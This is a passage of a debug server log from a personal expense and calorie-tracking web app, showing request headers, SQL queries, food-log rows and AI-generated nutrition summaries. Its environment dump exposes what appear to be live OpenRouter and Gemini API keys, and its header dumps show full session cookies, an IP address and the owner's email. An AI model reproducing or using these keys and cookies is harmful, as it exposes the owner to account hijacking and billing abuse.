    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-25T10:45:13.125Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-25T10:45:13.126Z server-connect:app Executing action step identify
2025-12-25T10:45:13.126Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:13.126Z server-connect:output identity: 1
2025-12-25T10:45:13.126Z server-connect:app Executing action step restrict
2025-12-25T10:45:13.126Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:13.128Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-25T10:45:13.129Z server-connect:output restrict: undefined
2025-12-25T10:45:13.129Z server-connect:app Executing action step select
2025-12-25T10:45:13.129Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-25T10:45:13.129Z server-connect:app Executing action step identify
2025-12-25T10:45:13.129Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:13.129Z server-connect:output identity: 1
2025-12-25T10:45:13.130Z server-connect:app Executing action step restrict
2025-12-25T10:45:13.130Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:13.136Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-25T10:45:13.137Z server-connect:output restrict: undefined
2025-12-25T10:45:13.137Z server-connect:app Executing action step single
2025-12-25T10:45:13.137Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-25T10:45:13.139Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-25T10:45:14.980Z server-connect:router Serving templateView /calorie-tracker
2025-12-25T10:45:14.980Z server-connect:app Executing action step identify
2025-12-25T10:45:14.980Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:14.980Z server-connect:output identity: 1
2025-12-25T10:45:14.980Z server-connect:app Executing action step restrict
2025-12-25T10:45:14.980Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:45:14.981Z server-connect:output restrict: undefined
2025-12-25T10:45:14.981Z server-connect:router Render template calorie-tracker
2025-12-25T10:45:14.981Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T10:45:15.209Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-25T10:45:15.209Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-25T10:45:15.210Z server-connect:app Executing action step identify
2025-12-25T10:45:15.210Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:15.210Z server-connect:output identity: 1
2025-12-25T10:45:15.210Z server-connect:app Executing action step restrict
2025-12-25T10:45:15.210Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T10:45:15.210Z server-connect:app Executing action step identify
2025-12-25T10:45:15.210Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:15.210Z server-connect:output identity: 1
2025-12-25T10:45:15.210Z server-connect:app Executing action step restrict
2025-12-25T10:45:15.210Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:15.210Z server-connect:output restrict: undefined
2025-12-25T10:45:15.210Z server-connect:app Executing action step single
2025-12-25T10:45:15.210Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-25T10:45:15.211Z server-connect:output restrict: undefined
2025-12-25T10:45:15.211Z server-connect:app Executing action step single
2025-12-25T10:45:15.211Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-25T10:45:15.212Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's nutrition shows a decent intake of protein, particularly from the whey supplement, which supports muscle development. The meals are balanced with carbohydrates and vegetables, contributing to overall energy and nutrient needs. Meal timing appears to be spread throughout the day, which is generally beneficial for consistent energy levels and recovery.",
    bad_points: [
      'Potential for higher carbohydrate intake from multiple rotis.',
      'Limited variety in protein sources beyond the whey supplement.',
      'Some meals could benefit from more diverse vegetable types.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of vegetables in meals for micronutrients and fiber.',
      'Whey protein consumed post-workout likely aids recovery.',
      'Meals are spaced throughout the day, supporting consistent energy.'
    ],
    suggestions: [
      'Consider incorporating more diverse protein sources like lean meats, fish, or legumes into main meals.',
      'Ensure adequate hydration throughout the day.',
      'Explore adding a small portion of healthy fats to meals for satiety and nutrient absorption.',
      'Vary vegetable choices to ensure a broader spectrum of vitamins and minerals.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Good effort',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-24T18:30:00.000Z'
}
2025-12-25T10:45:15.213Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-25T10:45:15.213Z server-connect:app Executing action step select
2025-12-25T10:45:15.213Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-25T10:45:15.215Z server-connect:output item_list: [
  {
    id: 512,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 76,
    protein_gm: 1,
    carbs_gm: 8,
    fat_gm: 1,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Celery sticks,Watermelon (in moderation)',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 513,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 514,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 515,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Aalo Matar Ghooghri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghooghri with less oil,Aalo Matar Ghooghri with more peas and less potato,Steamed vegetables with a light seasoning',
    created_at: '2025-12-24T22:39:07.000Z',
    skip_level: 2,
    skip_reason: "While potatoes provide carbs for energy, the preparation often involves significant oil, increasing fat and calorie content. For muscle development, focusing on leaner protein sources and complex carbs with less added fat would be more beneficial. It's 'good to skip but ok' if consumed in moderation and prepared with less oil."
  },
  {
    id: 516,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup',
    replacements: 'Water,Herbal infusions (e.g., peppermint tea, chamomile tea)',
    created_at: '2025-12-25T01:13:55.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants and minimal calories. Good for hydration and metabolism.'
  },
  {
    id: 517,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 518,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Saag Sabji',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 3,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed Saag,Saag with less oil/ghee',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 519,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 120,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Grilled Baingan,Baingan Curry (less cream/oil)',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 520,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 68,
    protein_gm: 3,
    carbs_gm: 14,
    fat_gm: 1,
    quantity: '1 medium (approx 100g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-25T03:10:14.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and fiber, good for overall health and muscle recovery.'
  }
]
2025-12-25T10:45:15.215Z server-connect:app Executing action step setvalue
2025-12-25T10:45:15.215Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-25T10:45:15.215Z server-connect:output var_total: 1121
2025-12-25T10:45:15.215Z server-connect:app Executing action step setvalue
2025-12-25T10:45:15.215Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-25T10:45:15.215Z server-connect:output var_consumed: 47
2025-12-25T10:45:15.215Z server-connect:app Executing action step setvalue
2025-12-25T10:45:15.215Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-25T10:45:15.215Z server-connect:output var_deficit: 1279
2025-12-25T10:45:15.215Z server-connect:app Executing action step custom
2025-12-25T10:45:15.215Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-25T10:45:15.217Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
